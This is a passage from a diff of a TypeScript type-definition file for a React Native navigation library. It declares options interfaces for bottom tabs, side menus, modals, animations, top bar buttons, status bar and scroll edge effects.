switch tabs from inside the component - * use `Navigation.mergeOptions(parentId, { bottomTabs: { currentTabIndex } })`. - */ - component?: { - /** - * The registered name of the component (passed to - * `Navigation.registerComponent`). - */ - name: string; - /** - * Props passed once when the component is created. Updates from - * native (`selected`, `badge`) are delivered as separate prop - * updates. - */ - passProps?: object; - }; - - /** - * Set the text to display below the icon - */ - text?: string; - /** - * Set the text in a badge that is overlayed over the component - */ - badge?: string; - /** - * Set the background color of the badge that is overlayed over the component - */ - badgeColor?: Color; - /** - * Show the badge with the animation. - * #### (Android specific) - */ - animateBadge?: boolean; - /** - * Set a testID to reference the tab in E2E tests - */ - testID?: string; - /** - * Set the tab icon - */ - icon?: ImageResource; - /** - * Set the icon tint - */ - iconColor?: Color; - /** - * Set the icon width - * #### (Android specific) - */ - iconWidth?: number; - /** - * Set the icon height - * #### (Android specific) - */ - iconHeight?: number; - /** - * Set the text color - */ - textColor?: Color; - /** - * Set the selected icon tint - */ - selectedIconColor?: Color; - /** - * Set the selected text color - */ - selectedTextColor?: Color; - /** - * Set the font family for the tab's text - */ - fontFamily?: FontFamily; - /** - * Set the font style for the tab's text - */ - fontStyle?: FontStyle; - /** - * Specifies font weight. The values 'normal' and 'bold' are supported - * for most fonts. Not all fonts have a variant for each of the numeric - * values, in that case the closest one is chosen. - */ - fontWeight?: FontWeight; - /** - * Set the text font size - */ - fontSize?: number; - /** - * Set the insets of the icon - */ - iconInsets?: Insets; - /** - * Set selected icon image - * #### (iOS specific) - */ - selectedIcon?: ImageResource; - /** - * Set true if you want to disable the icon tinting - * #### (iOS specific) - */ - disableIconTint?: boolean; - /** - * Set true if you want to disable the text tinting - * #### (iOS specific) - */ - disableSelectedIconTint?: boolean; - /** - * Set the font size for selected tabs - * #### (Android specific) - */ - selectedFontSize?: number; - /** - * If it's set to false, pressing a tab won't select the tab - * instead it will emit a bottomTabPressedEvent - */ - selectTabOnPress?: boolean; - /** - * Pop to root of stack by tapping on already selected tab - * #### (Android specific) - */ - popToRoot?: boolean; - /** - * Set the SF symbol as icon (will be used primarily) - * #### (iOS 13+ specific) - */ - sfSymbol?: string; - /** - * Set the SF symbol as selected icon (will be used primarily) - * #### (iOS 13+ specific) - */ - sfSelectedSymbol?: string; - /** - * Set the tab bar item to a system-provided role. - * Uses `UITabBarItem(tabBarSystemItem:)` on iOS. - * - * By default the system provides the icon and title. You can - * override the icon by providing `icon`, `selectedIcon`, - * `sfSymbol`, or `sfSelectedSymbol` — they are applied after - * creation and replace the system-provided image. - * `iconColor` and `selectedIconColor` are applied as a tint - * to the custom icon when one is provided. - * - * **`'search'`** — on iOS 26+ this renders as a floating - * Liquid Glass button. Only one tab per `bottomTabs` layout - * may use this role; duplicates fall back to a normal tab. - * - * **`'more'`** — activates UIKit's built-in "More" navigation - * controller. Tabs beyond the visible limit are moved into - * it automatically. - * - * Properties that remain ignored for role tabs: `text`, - * `fontSize`, `fontFamily`, `fontWeight`, `iconInsets`. - * - * #### (iOS specific) - */ - role?: - | 'search' - | 'bookmarks' - | 'contacts' - | 'downloads' - | 'favorites' - | 'featured' - | 'history' - | 'more' - | 'mostRecent' - | 'mostViewed' - | 'recents' - | 'topRated'; -} - -export interface SideMenuSide { - /** - * Show or hide the side menu - */ - visible?: boolean; - /** - * Enable or disable the side menu - */ - enabled?: boolean; - /** - * Set the width of the side menu - */ - width?: number; - /** - * Set the height of the side menu - */ - height?: number; - /** - * Stretch sideMenu contents when opened past the width - * - * **Not applicable when `openMode` is `aboveContent`** - * - * #### (iOS specific) - * @default true - */ - shouldStretchDrawer?: boolean; - /** - * Configure the opening mode of the side menu - * #### (iOS specific) - * @default 'pushContent' - */ - openMode?: 'pushContent' | 'aboveContent'; -} - -export interface OptionsSideMenu { - /** - * Configure the left side menu - */ - left?: SideMenuSide; - /** - * Configure the right side menu - */ - right?: SideMenuSide; - /** - * Configure how a user is allowed to open a drawer using gestures - * #### (iOS specific) - * @default 'entireScreen' - */ - openGestureMode?: 'entireScreen' | 'bezel'; -} - -export interface OverlayOptions { - /** - * Capture touches outside of the Component View - */ - interceptTouchOutside?: boolean; - /** - * Control whether this Overlay should handle Keyboard events. - * Set this to true if your Overlay contains a TextInput. - */ - handleKeyboardEvents?: boolean; -} - -export interface ModalOptions { - /** - * Control whether this modal should be dismiss using swipe gesture when the modalPresentationStyle = 'pageSheet' - * #### (iOS specific) - */ - swipeToDismiss?: boolean; -} - -export interface OptionsPreviewAction { - /** - * Reference ID to get callbacks from - */ - id: string; - /** - * Action text - */ - title: string; - /** - * Action style - */ - style?: 'default' | 'selected' | 'destructive'; - /** - * Subactions that will be shown when this action is pressed. - */ - actions?: OptionsPreviewAction[]; -} - -export interface OptionsPreview { - /** - * Pass a react node tag to mark a SourceRect for a specific - * peek and pop preview element. - */ - reactTag?: number; - /** - * You can set this property specify the width of the preview. - * If the width is greater than the device width, it will be zoomed in. - */ - width?: number; - /** - * Height of the preview - */ - height?: number; - /** - * You can control if the users gesture will result in pushing - * the preview screen into the stack. - */ - commit?: boolean; - /** - * List of actions that will appear underneath the preview window. - * They can be nested for sub actions. - */ - actions?: OptionsPreviewAction[]; -} - -export interface OptionsAnimationPropertyConfig { - /** - * Animate from this value, ex. 0 - */ - from?: number; - /** - * Animate to this value, ex. 1 - */ - to?: number; - /** - * Animation duration - * @default 300 - */ - duration?: number; - /** - * Animation delay - * @default 0 - */ - startDelay?: number; - /** - * Animation interplation - */ - interpolation?: Interpolation; -} - -/** - * Used to animate the actual content added to the hierarchy. - * Content can be a React component (component) or any other layout (Stack, BottomTabs etc) - */ -export interface ScreenAnimationOptions { - /** - * Animate the element over x value - */ - x?: OptionsAnimationPropertyConfig; - /** - * Animate the element over y value - */ - y?: OptionsAnimationPropertyConfig; - /** - * Animate the element over translateX - */ - translationX?: OptionsAnimationPropertyConfig; - /** - * Animate the element over translateY - */ - translationY?: OptionsAnimationPropertyConfig; - /** - * Animate the element over opacity - */ - alpha?: OptionsAnimationPropertyConfig; - /** - * Animate the element over scaleX - */ - scaleX?: OptionsAnimationPropertyConfig; - /** - * Animate the element over scaleY - */ - scaleY?: OptionsAnimationPropertyConfig; - /** - * Animate the element over rotationX - */ - rotationX?: OptionsAnimationPropertyConfig; - /** - * Animate the element over rotationY - */ - rotationY?: OptionsAnimationPropertyConfig; - /** - * Animate the element over rotation - */ - rotation?: OptionsAnimationPropertyConfig; - /** - * Wait for the root view to render before start animation - */ - waitForRender?: boolean; - /** - * Enable or disable the animation - * @default true - */ - enabled?: boolean; -} - -export interface IconInsets { - /** - * Configure top inset - */ - top?: number; - /** - * Configure left inset - */ - left?: number; - /** - * Configure bottom inset - */ - bottom?: number; - /** - * Configure right inset - */ - right?: number; -} - -export interface ColorAnimationOptions { - /** - * Color duration time; Default is as determined by the OS - */ - duration?: number; -} - -export interface ViewAnimationOptions extends ScreenAnimationOptions { - /** - * ID of the Top Bar we want to animate - */ - id?: string; -} - -export interface TopBarAnimationOptions extends ViewAnimationOptions { - /** - * Animation of the top-bar's background color, in case the top-bar background color - * has been explicitly specified. - * - * Applicable only in transition of screens with color (non-component) backgrounds. - */ - bkgColor?: ColorAnimationOptions; -} - -export interface StatusBarAnimationOptions extends ViewAnimationOptions { - /** - * Animation of the status-bar's background color, in case its background color - * has been explicitly specified. - */ - bkgColor?: ColorAnimationOptions; -} - -export interface EnterExitAnimationOptions { - /** - * Animate opening component - */ - enter?: ViewAnimationOptions; - /** - * Animate closing component - */ - exit?: ViewAnimationOptions; -} - -export interface OldModalAnimationOptions extends ViewAnimationOptions { - /** - * Animations to be applied on elements which are shared between the appearing and disappearing screens - */ - sharedElementTransitions?: SharedElementTransition[]; - /** - * Animations to be applied on views in the appearing or disappearing screens - */ - elementTransitions?: ElementTransition[]; -} - -export interface ModalAnimationOptions { - /** - * Animate opening modal - */ - enter?: ViewAnimationOptions; - /** - * Animate closing modal - */ - exit?: ViewAnimationOptions; - /** - * Animations to be applied on elements which are shared between the appearing and disappearing screens - */ - sharedElementTransitions?: SharedElementTransition[]; - /** - * Animations to be applied on views in the appearing or disappearing screens - */ - elementTransitions?: ElementTransition[]; -} - -/** - * Used for describing stack commands animations. - */ -export interface StackAnimationOptions { - /** - * Wait for the View to render before start animation - */ - waitForRender?: boolean; - /** - * Enable or disable the animation - * @default true - */ - enabled?: boolean; - /** - * Configure animations for the top bar - */ - topBar?: - | TopBarAnimationOptions - | { - enter?: TopBarAnimationOptions; - exit?: TopBarAnimationOptions; - }; - /** - * Configure animations for the status bar (typically aligned - * with the top-bar's) - */ - statusBar?: - | StatusBarAnimationOptions - | { - enter?: StatusBarAnimationOptions; - exit?: StatusBarAnimationOptions; - }; - /** - * Configure animations for the bottom tabs - */ - bottomTabs?: - | ViewAnimationOptions - | { - enter?: ViewAnimationOptions; - exit?: ViewAnimationOptions; - }; - /** - * Configure animations for the content (Screen) - */ - content?: - | ViewAnimationOptions - | { - enter?: ViewAnimationOptions; - exit?: ViewAnimationOptions; - }; - /** - * Animations to be applied on elements which are shared between the appearing and disappearing screens - */ - sharedElementTransitions?: SharedElementTransition[]; - /** - * Animations to be applied on views in the appearing or disappearing screens - */ - elementTransitions?: ElementTransition[]; -} - -/** - * Used for configuring command animations - */ -export interface AnimationOptions { - /** - * Configure the setStackRoot animation - */ - setStackRoot?: ViewAnimationOptions | StackAnimationOptions; - /** - * Configure the setRoot animation - */ - setRoot?: ViewAnimationOptions | EnterExitAnimationOptions; - /** - * Configure the animation of the pushed screen - * #### (Android specific) - */ - push?: StackAnimationOptions; - /** - * Configure what animates when a screen is popped - */ - pop?: StackAnimationOptions; - /** - * Configure what animates when modal is shown - */ - showModal?: OldModalAnimationOptions | ModalAnimationOptions; - /** - * Configure what animates when modal is dismissed - */ - dismissModal?: OldModalAnimationOptions | ModalAnimationOptions; -} - -/** - * Configure Android's NavigationBar - */ -export interface NavigationBarOptions { - backgroundColor?: Color; - visible?: boolean; - /** - * Draw screen content behind the system navigation bar while keeping it visible. - * On Android 15+ edge-to-edge, use with `backgroundColor: 'transparent'`. - */ - drawBehind?: boolean; -} - -/** - * Used for configuring and controlling the main window in iOS - */ -export interface WindowOptions { - /** - * Configure the background color of the application's main window. - */ - backgroundColor?: Color; -} - -export interface IconBackgroundOptions { - /** - * Set background color - */ - color: Color; - /** - * Set background color on disabled state - */ - disabledColor?: Color; - /** - * Set corner radius - */ - cornerRadius?: number; - /** - * Set width - */ - width?: number; - /** - * Set height - */ - height?: number; -} - -export interface Options { - /** - * Configure the status bar - */ - statusBar?: OptionsStatusBar; - /** - * Configure the layout - */ - layout?: OptionsLayout; - /** - * Configure the presentation style of the modal - */ - modalPresentationStyle?: OptionsModalPresentationStyle; - /** - * Configure the transition style of the modal - * - * #### (Android specific) - */ - modalTransitionStyle?: OptionsModalTransitionStyle; - /** - * Configure the top bar - */ - topBar?: OptionsTopBar; - fab?: OptionsFab; - /** - * Configure the bottom tabs - */ - bottomTabs?: OptionsBottomTabs; - /** - * Configure the bottom tab associated to the screen - */ - bottomTab?: OptionsBottomTab; - /** - * Configure the side menu - */ - sideMenu?: OptionsSideMenu; - /** - * Configure the splitView controller - */ - splitView?: OptionsSplitView; - /** - * Configure the overlay - */ - overlay?: OverlayOptions; - /** - * Configure the modal - */ - modal?: ModalOptions; - /** - * Animation used for navigation commands that modify the layout - * hierarchy can be controlled in options. - * - * Animations can be modified per command and it's also possible - * to change the default animation for each command. - * - * Example: -```js -setRoot: { - y: { - from: 1000, - to: 0, - duration: 500, - interpolation: 'accelerate', - }, - alpha: { - from: 0, - to: 1, - duration: 400, - startDelay: 100, - interpolation: 'accelerate' - } -} -``` - */ - animations?: AnimationOptions; - - /** - * Configure Android's NavigationBar - */ - navigationBar?: NavigationBarOptions; - - /** - * Android Hardware Back button configuration - */ - hardwareBackButton?: HardwareBackButtonOptions; - - /** - * Preview configuration for Peek and Pop - * #### (iOS specific) - */ - preview?: OptionsPreview; - /** - * Enable or disable swipe back to pop gesture - * #### (iOS specific) - * @default true - */ - popGesture?: boolean; - /** - * Background image for the screen - * #### (iOS specific) - */ - backgroundImage?: ImageResource; - /** - * Background image for the Navigation View - * #### (iOS specific) - */ - rootBackgroundImage?: ImageResource; - /** - * Provides a way to configure the overall presentation of your application's main user interface - * #### (iOS specific) - */ - window?: WindowOptions; - /** - * Show / hide or change the style of the iOS 26 scroll edge effect on every - * UIScrollView contained in the screen. - * #### (iOS 26+ specific) - */ - scrollEdgeEffect?: OptionsScrollEdgeEffect; - /** - * Enable or disable automatically blurring focused input, dismissing keyboard on unmount - * #### (Android specific) - * @default false - */ - blurOnUnmount?: boolean; -} - -export interface OptionsScrollEdge { - /** - * Hide the scroll edge effect on this edge. - * #### (iOS 26+ specific) - */ - hidden?: boolean; - /** - * Style of the scroll edge effect on this edge. - * #### (iOS 26+ specific) - * @default 'automatic' - */ - style?: 'automatic' | 'soft' | 'hard'; -} - -export interface OptionsScrollEdgeEffect { - /** - * Hide the scroll edge effect on all four edges of contained scroll views. - * Per-edge values (top / bottom / left / right) take precedence over this. - * #### (iOS 26+ specific) - */ - hidden?: boolean; - /** - * Style of the scroll edge effect on all four edges. Per-edge values take precedence. - * #### (iOS 26+ specific) - * @default 'automatic' - */ - style?: 'automatic' | 'soft' | 'hard'; - /** - * Per-edge override for the top edge effect. Falls back to the global hidden / style. - * #### (iOS 26+ specific) - */ - top?: OptionsScrollEdge; - /** - * Per-edge override for the bottom edge effect. Falls back to the global hidden / style. - * #### (iOS 26+ specific) - */ - bottom?: OptionsScrollEdge; - /** - * Per-edge override for the left edge effect. Falls back to the global hidden / style. - * #### (iOS 26+ specific) - */ - left?: OptionsScrollEdge; - /** - * Per-edge override for the right edge effect. Falls back to the global hidden / style. - * #### (iOS 26+ specific) - */ - right?: OptionsScrollEdge; -} +// tslint:disable jsdoc-format +import { ImageRequireSource, ImageSourcePropType, Insets, OpaqueColorValue } from 'react-native'; + +// TODO: Import ColorValue instead when upgrading @types/react-native to 0.63+ +// Only assign PlatformColor or DynamicColorIOS as a Color symbol! +export declare type Color = string | symbol | ThemeColor | OpaqueColorValue | null; +type FontFamily = string; +type FontStyle = 'normal' | 'italic'; +type FontWeightIOS = + | 'normal' + | 'ultralight' + | 'thin' + | 'light' + | 'regular' + | 'medium' + | 'semibold' + | 'demibold' + | 'extrabold' + | 'ultrabold' + | 'bold' + | 'heavy' + | 'black'; +type FontWeight = + | 'normal' + | 'bold' + | '100' + | '200' + | '300' + | '400' + | '500' + | '600' + | '700' + | '800' + | '900' + | FontWeightIOS; +export type LayoutOrientation = + | 'all' + | 'default' + | 'portrait' + | 'landscape' + | 'upsideDown' + | 'sensor' + | 'sensorLandscape' + | 'sensorPortrait'; +type AndroidDensityNumber = number; +export type SystemItemIcon = + | 'done' + | 'cancel' + | 'edit' + | 'save' + | 'add' + | 'flexibleSpace' + | 'fixedSpace' + | 'compose' + | 'reply' + | 'action' + | 'organize' + | 'bookmarks' + | 'search' + | 'refresh' + | 'stop' + | 'camera' + | 'trash' + | 'play' + | 'pause' + | 'rewind' + | 'fastForward' + | 'undo' + | 'redo'; +export type Interpolation = + | { type: 'accelerate'; factor?: number } + | { type: 'decelerate'; factor?: number } + | { type: 'decelerateAccelerate' } + | { type: 'accelerateDecelerate' } + | { type: 'fastOutSlowIn' } + | { type: 'linear' } + | { type: 'overshoot'; tension?: number } + | { + type: 'spring'; + mass?: number; + damping?: number; + stiffness?: number; + allowsOverdamping?: boolean; + initialVelocity?: number; + }; +interface ThemeColor { + light?: string | symbol; + dark?: string | symbol; +} +export interface OptionsSplitView { + /** + * Master view display mode + * @default 'auto' + */ + displayMode?: 'auto' | 'visible' | 'hidden' | 'overlay'; + /** + * Master view side. Leading is left. Trailing is right. + * @default 'leading' + */ + primaryEdge?: 'leading' | 'trailing'; + /** + * Set the minimum width of master view + */ + minWidth?: number; + /** + * Set the maximum width of master view + */ + maxWidth?: number; + /** + * Set background style of sidebar. Currently works for Mac Catalyst apps only. + * @default 'none' + */ + primaryBackgroundStyle?: 'none' | 'sidebar'; +} + +export interface OptionsStatusBar { + /** + * Set the status bar visibility + * @default true + */ + visible?: boolean; + /** + * Set the text color of the status bar + * @default 'light' + */ + style?: 'light' | 'dark'; + /** + * Set the background color of the status bar + * #### (Android specific) + */ + backgroundColor?: Color; + /** + * Draw screen behind the status bar + * #### (Android specific) + */ + drawBehind?: boolean; + /** + * Allows the StatusBar to be translucent (blurred) + * #### (Android specific) + */ + translucent?: boolean; + /** + * Animate StatusBar style changes. + * #### (iOS specific) + */ + animate?: boolean; + /** + * Automatically hide the StatusBar when the TopBar hides. + * #### (iOS specific) + */ + hideWithTopBar?: boolean; + /** + * Blur content beneath the StatusBar. + * #### (iOS specific) + */ + blur?: boolean; +} + +export interface OptionsLayout { + fitSystemWindows?: boolean; + /** + * Set the screen background color + */ + backgroundColor?: Color; + /** + * Set background color only for components, helps reduce overdraw if background color is set in default options. + * #### (Android specific) + */ + componentBackgroundColor?: Color; + /** + * Set the allowed orientations + */ + orientation?: LayoutOrientation[]; + /** + * Layout top margin + * #### (Android specific) + */ + topMargin?: number; + + /** + * Set language direction. + * only works with DefaultOptions + */ + direction?: 'rtl' | 'ltr' | 'locale'; + + /** + * Controls the application's preferred home indicator auto-hiding. + * #### (iOS specific) + */ + autoHideHomeIndicator?: boolean; + + /** + * Add insets to the top layout + */ + insets?: Insets; + + /** + * Resizes the layout when keyboard is visible + * @default true + * #### (Android specific) + */ + adjustResize?: boolean; +} + +export enum OptionsModalPresentationStyle { + formSheet = 'formSheet', + pageSheet = 'pageSheet', + overFullScreen = 'overFullScreen', + overCurrentContext = 'overCurrentContext', + currentContext = 'currentContext', + popover = 'popover', + fullScreen = 'fullScreen', + none = 'none', +} + +export enum OptionsModalTransitionStyle { + coverVertical = 'coverVertical', + crossDissolve = 'crossDissolve', + flipHorizontal = 'flipHorizontal', + partialCurl = 'partialCurl', +} + +export interface OptionsTopBarLargeTitle { + /** + * Enable large titles + */ + visible?: boolean; + /** + * Set the font size of large title's text + */ + fontSize?: number; + /** + * Set the color of large title's text + */ + color?: Color; + /** + * Set the font family of the large title text + */ + fontFamily?: FontFamily; + /** + * Set the font style of the large title text + */ + fontStyle?: FontStyle; + /** + * Specifies font weight. The values 'normal' and 'bold' are supported + * for most fonts. Not all fonts have a variant for each of the numeric + * values, in that case the closest one is chosen. + */ + fontWeight?: FontWeight; +} + +export interface OptionsTopBarTitle { + /** + * Text to display in the title area + */ + text?: string; + /** + * Font size + */ + fontSize?: number; + /** + * Text color + */ + color?: Color; + /** + * Set the font family for the title + */ + fontFamily?: FontFamily; + /** + * Set the font style for the title + */ + fontStyle?: FontStyle; + /** + * Specifies font weight. The values 'normal' and 'bold' are supported + * for most fonts. Not all fonts have a variant for each of the numeric + * values, in that case the closest one is chosen. + */ + fontWeight?: FontWeight; + /** + * Custom component as the title view + */ + component?: { + /** + * Component reference id, Auto generated if empty + */ + id?: string; + /** + * Name of your component + */ + name: string; + /** + * Set component alignment + */ + alignment?: 'center' | 'fill'; + /** + * Properties to pass down to the component + */ + passProps?: object; + }; + /** + * Top Bar title height in densitiy pixels + * #### (Android specific) + */ + height?: number; + /** + * Title alignment + * #### (Android specific) + */ + alignment?: 'center' | 'fill'; +} + +export interface OptionsTopBarSubtitle { + /** + * Set subtitle text + */ + text?: string; + /** + * Set subtitle font size + */ + fontSize?: number; + /** + * Set subtitle color + */ + color?: Color; + /** + * Set the font family for the subtitle + */ + fontFamily?: FontFamily; + /** + * Set the font style for a text + */ + fontStyle?: FontStyle; + /** + * Specifies font weight. The values 'normal' and 'bold' are supported + * for most fonts. Not all fonts have a variant for each of the numeric + * values, in that case the closest one is chosen. + */ + fontWeight?: FontWeight; + /** + * Set subtitle alignment + */ + alignment?: 'center'; +} + +export interface OptionsTopBarBackButton { + /** + * Overrides the text that's read by the screen reader when the user interacts with the back button + * #### (Android specific) + */ + accessibilityLabel?: string; + /** + * Button id for reference press event + */ + id?: string; + /** + * Image to show as the back button + */ + icon?: ImageResource; + /** + * SF Symbol to show as the back button + * #### (iOS 13+ specific) + */ + sfSymbol?: string; + /** + * Weither the back button is visible or not + * @default true + */ + visible?: boolean; + /** + * Set the back button title + * #### (iOS specific) + */ + title?: string; + /** + * Show title or just the icon + * #### (iOS specific) + */ + showTitle?: boolean; + /** + * Back button icon and text color + */ + color?: Color; + /** + * Set subtitle font size + */ + fontSize?: number; + /** + * Set the font family for the back button + * #### (iOS specific) + */ + fontFamily?: FontFamily; + /** + * Set the font style for a text + */ + fontStyle?: FontStyle; + /** + * Specifies font weight. The values 'normal' and 'bold' are supported + * for most fonts. Not all fonts have a variant for each of the numeric + * values, in that case the closest one is chosen. + */ + fontWeight?: FontWeight; + /** + * Set icon background style + */ + iconBackground?: IconBackgroundOptions; + /** + * Set testID for reference in E2E tests + */ + testID?: string; + /** + * Enables iOS 14 back button menu display + * #### (iOS specific) + * @default true + */ + enableMenu?: boolean; + /** + * Allows the NavBar to be translucent (blurred) + * #### (iOS specific) + */ + displayMode?: 'default' | 'generic' | 'minimal'; + /** + * Controls whether the default back button should pop the Stack or not + * @default true + */ + popStackOnPress?: boolean; + /** + * (iOS 26+ only) Hide the shared Liquid-Glass / Platter background that + * UIKit draws behind the back button. Defaults to true to avoid + * double-decorating a back button whose icon already carries its own + * iconBackground. Set to false to keep the system-drawn background. + * @default true + */ + hideSharedBackground?: boolean; +} + +export interface HardwareBackButtonOptions { + /** + * Controls whether the hardware back button should dismiss modal or not + * #### (Android specific) + * @default true + */ + dismissModalOnPress?: boolean; + /** + * Controls whether the hardware back button should pop the Stack or not + * #### (Android specific) + * @default true + */ + popStackOnPress?: boolean; + + /** + * Controls hardware back button bottom tab selection behaviour + */ + bottomTabsOnPress?: 'exit' | 'first' | 'previous'; +} + +export interface OptionsTopBarScrollEdgeAppearanceBackground { + /** + * Background color of the top bar + */ + color?: Color; + /** + * Allows the NavBar to be translucent (blurred) + * #### (iOS specific) + */ + translucent?: boolean; +} + +export interface OptionsTopBarScrollEdgeAppearanceTitle { + /** + * Font size + */ + fontSize?: number; + /** + * Text color + */ + color?: Color; + /** + * Set the font family for the title + */ + fontFamily?: FontFamily; + /** + * Set the font style for the title + */ + fontStyle?: FontStyle; + /** + * Specifies font weight. The values 'normal' and 'bold' are supported + * for most fonts. Not all fonts have a variant for each of the numeric + * values, in that case the closest one is chosen. + */ + fontWeight?: FontWeight; +} + +export interface OptionsTopBarScrollEdgeAppearance { + /** + * Title configuration applied when the scroll view reaches the edge + * ### (iOS specific) + */ + title?: OptionsTopBarScrollEdgeAppearanceTitle; + background?: OptionsTopBarScrollEdgeAppearanceBackground; + active: boolean; + /** + * Disable the border on bottom of the navbar + * #### (iOS specific) + * @default false + */ + noBorder?: boolean; + /** + * Change the navbar border color + */ + borderColor?: Color; +} + +export interface OptionsTopBarBackground { + /** + * Background color of the top bar + */ + color?: Color; + /** + * Clip the top bar background to bounds if set to true. + * #### (iOS specific) + */ + clipToBounds?: boolean; + /** + * Set a custom component for the Top Bar background + */ + component?: { + name?: string; + /** + * Properties to pass down to the component + */ + passProps?: object; + }; + /** + * Allows the NavBar to be translucent (blurred) + * #### (iOS specific) + */ + translucent?: boolean; + /** + * Enable background blur + * #### (iOS specific) + */ + blur?: boolean; +} + +export interface OptionsTopBarButton { + /** + * (Android only) Sets a textual button to be ALL CAPS. default value is true + */ + allCaps?: boolean; + /** + * Button id for reference press event + */ + id: string; + /** + * Set the button icon + */ + icon?: ImageResource; + /** + * Set the SF symbol as icon (will be used primarily) + * #### (iOS 13+ specific) + */ + sfSymbol?: string; + /** + * Set the button icon insets + */ + iconInsets?: IconInsets; + /** + * Set the button as a custom component + */ + component?: { + /** + * Component reference id, Auto generated if empty + */ + id?: string; + /** + * Name of your component + */ + name: string; + /** + * Properties to pass down to the component + */ + passProps?: object; + /** + * (Android only) component width + */ + width?: number; + /** + * (Android only) component height + */ + height?: number; + }; + /** + * (iOS only) Set the button as an iOS system icon + */ + systemItem?: SystemItemIcon; + /** + * Set the button text + */ + text?: string; + /** + * Overrides the text that's read by the screen reader when the user interacts with the element + */ + accessibilityLabel?: string; + /** + * Set the font family for the button's text + */ + fontFamily?: FontFamily; + /** + * Set the font style for the button's text + */ + fontStyle?: FontStyle; + /** + * Specifies font weight. The values 'normal' and 'bold' are supported + * for most fonts. Not all fonts have a variant for each of the numeric + * values, in that case the closest one is chosen. + */ + fontWeight?: FontWeight; + /** + * Set the font size in dp + */ + fontSize?: number; + /** + * Set the button enabled or disabled + * @default true + */ + enabled?: boolean; + /** + * Disable icon tinting + */ + disableIconTint?: boolean; + /** + * Set text color + */ + color?: Color; + /** + * Set text color in disabled state + */ + disabledColor?: Color; + /** + * Set icon background style + */ + iconBackground?: IconBackgroundOptions; + /** + * Set testID for reference in E2E tests + */ + testID?: string; + /** + * (iOS 26+ only) Hide the shared Liquid-Glass / Platter background that + * UIKit draws behind every bar button item. Defaults to true to avoid + * double-decorating React-rendered custom views and icons that already + * carry their own background. Set to false to keep the system-drawn + * background. + * @default true + */ + hideSharedBackground?: boolean; + /** + * (Android only) Set showAsAction value + * @see {@link https://developer.android.com/guide/topics/resources/menu-resource|Android developer guide: Menu resource} + */ + showAsAction?: 'ifRoom' | 'withText' | 'always' | 'never'; +} + +export interface OptionsSearchBar { + visible?: boolean; + focus?: boolean; + hideOnScroll?: boolean; + hideTopBarOnFocus?: boolean; + obscuresBackgroundDuringPresentation?: boolean; + backgroundColor?: Color; + tintColor?: Color; + placeholder?: string; + cancelText?: string; + /** + * iOS 26+ only. Controls where the search bar is placed. + * - 'stacked': Below the navigation bar title (default, legacy behavior) + * - 'integrated': Inside the navigation bar + */ + placement?: 'stacked' | 'integrated'; +} + +export interface OptionsTopBar { + /** + * Show or hide the top bar + */ + visible?: boolean; + /** + * Controls whether TopBar visibility changes should be animated + */ + animate?: boolean; + /** + * Top bar will hide and show based on users scroll direction + */ + hideOnScroll?: boolean; + /** + * Change button colors in the top bar + */ + + leftButtonColor?: Color; + rightButtonColor?: Color; + leftButtonBackgroundColor?: Color; + rightButtonBackgroundColor?: Color; + leftButtonDisabledColor?: Color; + rightButtonDisabledColor?: Color; + /** + * Draw behind the navbar + */ + drawBehind?: boolean; + /** + * Can be used to reference the top bar in E2E tests + */ + testID?: string; + /** + * Title configuration + */ + title?: OptionsTopBarTitle; + /** + * Subtitle configuration + */ + subtitle?: OptionsTopBarSubtitle; + /** + * Back button configuration + */ + backButton?: OptionsTopBarBackButton; + /** + * List of buttons to the left + */ + leftButtons?: OptionsTopBarButton[]; + /** + * List of buttons to the right + */ + rightButtons?: OptionsTopBarButton[]; + /** + * Background configuration + */ + background?: OptionsTopBarBackground; + + /** + * + */ + scrollEdgeAppearance?: OptionsTopBarScrollEdgeAppearance; + /** + * Control the NavBar blur style + * #### (iOS specific) + * @requires translucent: true + * @default 'default' + */ + barStyle?: 'default' | 'black'; + /** + * Disable the border on bottom of the navbar + * #### (iOS specific) + * @default false + */ + noBorder?: boolean; + /** + * Show a UISearchBar in the Top Bar + * #### (iOS 11+ specific) + */ + searchBar?: OptionsSearchBar; + /** + * Hides the UISearchBar when scrolling + * #### (iOS 11+ specific) + */ + searchBarHiddenWhenScrolling?: boolean; + /** + * The placeholder value in the UISearchBar + * #### (iOS 11+ specific) + */ + searchBarPlaceholder?: string; + /** + * The background color of the UISearchBar's TextField + * #### (iOS 13+ specific) + */ + searchBarBackgroundColor?: string; + /** + * The tint color of the UISearchBar + * #### (iOS 11+ specific) + */ + searchBarTintColor?: string; + /** + * Controls Hiding NavBar on focus UISearchBar + * #### (iOS 11+ specific) + */ + hideNavBarOnFocusSearchBar?: boolean; + /** + * Control the Large Title configuration + * #### (iOS 11+ specific) + */ + largeTitle?: OptionsTopBarLargeTitle; + /** + * Set the height of the navbar in dp + * #### (Android specific) + */ + height?: AndroidDensityNumber; + /** + * Change the navbar border color + */ + borderColor?: Color; + /** + * Set the border height of the navbar in dp + * #### (Android specific) + */ + borderHeight?: AndroidDensityNumber; + /** + * Set the elevation of the navbar in dp + * #### (Android specific) + */ + elevation?: AndroidDensityNumber; + /** + * Layout top margin + * #### (Android specific) + */ + topMargin?: number; + + /** + * Toggles animation on left buttons bar upon changes + */ + animateLeftButtons?: boolean; + + /** + * Toggles animation on right buttons bar upon changes + */ + animateRightButtons?: boolean; +} + +export interface SharedElementTransition { + fromId: string; + toId: string; + duration?: number; + interpolation?: Interpolation; +} + +export interface ElementTransition { + id: string; + alpha?: AppearingElementAnimation | DisappearingElementAnimation; + translationX?: AppearingElementAnimation | DisappearingElementAnimation; + translationY?: AppearingElementAnimation | DisappearingElementAnimation; + scaleX?: AppearingElementAnimation | DisappearingElementAnimation; + scaleY?: AppearingElementAnimation | DisappearingElementAnimation; + rotationX?: AppearingElementAnimation | DisappearingElementAnimation; + rotationY?: AppearingElementAnimation | DisappearingElementAnimation; + x?: AppearingElementAnimation | DisappearingElementAnimation; + y?: AppearingElementAnimation | DisappearingElementAnimation; +} + +export interface AppearingElementAnimation extends ElementAnimation { + from: number; +} + +export interface DisappearingElementAnimation extends ElementAnimation { + to: number; +} + +export interface ElementAnimation { + duration: number; + startDelay?: number; + interpolation?: Interpolation; +} + +export interface OptionsFab { + id: string; + backgroundColor?: Color; + clickColor?: Color; + rippleColor?: Color; + visible?: boolean; + icon?: ImageResource; + iconColor?: Color; + alignHorizontally?: 'left' | 'right'; + hideOnScroll?: boolean; + size?: 'mini' | 'regular'; +} + +export interface OptionsBottomTabs { + /** + * Show or hide the bottom tabs + */ + visible?: boolean; + /** + * Enable animations when toggling visibility + */ + animate?: boolean; + /** + * Controls whether tab selection is animated or not + * #### (android specific) + * @default true + */ + 